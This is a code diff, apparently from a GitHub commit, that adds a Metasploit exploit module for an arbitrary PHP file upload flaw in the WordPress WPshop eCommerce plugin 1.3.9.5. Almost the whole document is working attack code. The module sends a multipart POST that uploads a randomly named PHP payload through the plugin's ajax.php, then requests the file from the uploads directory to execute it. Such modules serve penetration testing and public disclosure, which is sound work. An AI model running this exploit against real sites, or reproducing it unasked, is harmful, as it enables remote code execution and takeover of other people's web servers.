|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Wordpress WPshop eCommerce Upload Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an arbitrary PHP code upload in the WordPress WPshop eCommerce plugin, |
| 19 | + version 1.3.9.5. The vulnerability allows for arbitrary file upload and remote code execution. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'g0blin', # Vulnerability Discovery |
| 24 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['WPVDB', '7830'], |
| 30 | + ['URL', 'https://research.g0blin.co.uk/g0blin-00036/'] |
| 31 | + ], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Platform' => 'php', |
| 34 | + 'Arch' => ARCH_PHP, |
| 35 | + 'Targets' => [['WPshop eCommerce 1.3.9.5', {}]], |
| 36 | + 'DisclosureDate' => 'Mar 09 2015', |
| 37 | + 'DefaultTarget' => 0) |
| 38 | + ) |
| 39 | + end |
| 40 | + |
| 41 | + def check |
| 42 | + check_plugin_version_from_readme('wpshop', '1.3.9.6') |
| 43 | + end |
| 44 | + |
| 45 | + def exploit |
| 46 | + php_pagename = rand_text_alpha(5 + rand(5)) + '.php' |
| 47 | + |
| 48 | + data = Rex::MIME::Message.new |
| 49 | + data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"') |
| 50 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_pagename}\"") |
| 51 | + post_data = data.to_s |
| 52 | + |
| 53 | + res = send_request_cgi( |
| 54 | + 'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php'), |
| 55 | + 'method' => 'POST', |
| 56 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 57 | + 'data' => post_data |
| 58 | + ) |
| 59 | + |
| 60 | + if res |
| 61 | + if res.code == 200 && res.body =~ /#{php_pagename}/ |
| 62 | + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") |
| 63 | + register_files_for_cleanup(php_pagename) |
| 64 | + else |
| 65 | + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 66 | + end |
| 67 | + else |
| 68 | + fail_with(Failure::Unknown, 'ERROR') |
| 69 | + end |
| 70 | + |
| 71 | + print_status("#{peer} - Calling payload...") |
| 72 | + send_request_cgi( |
| 73 | + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_pagename) |
| 74 | + ) |
| 75 | + end |
| 76 | +end |
0 commit comments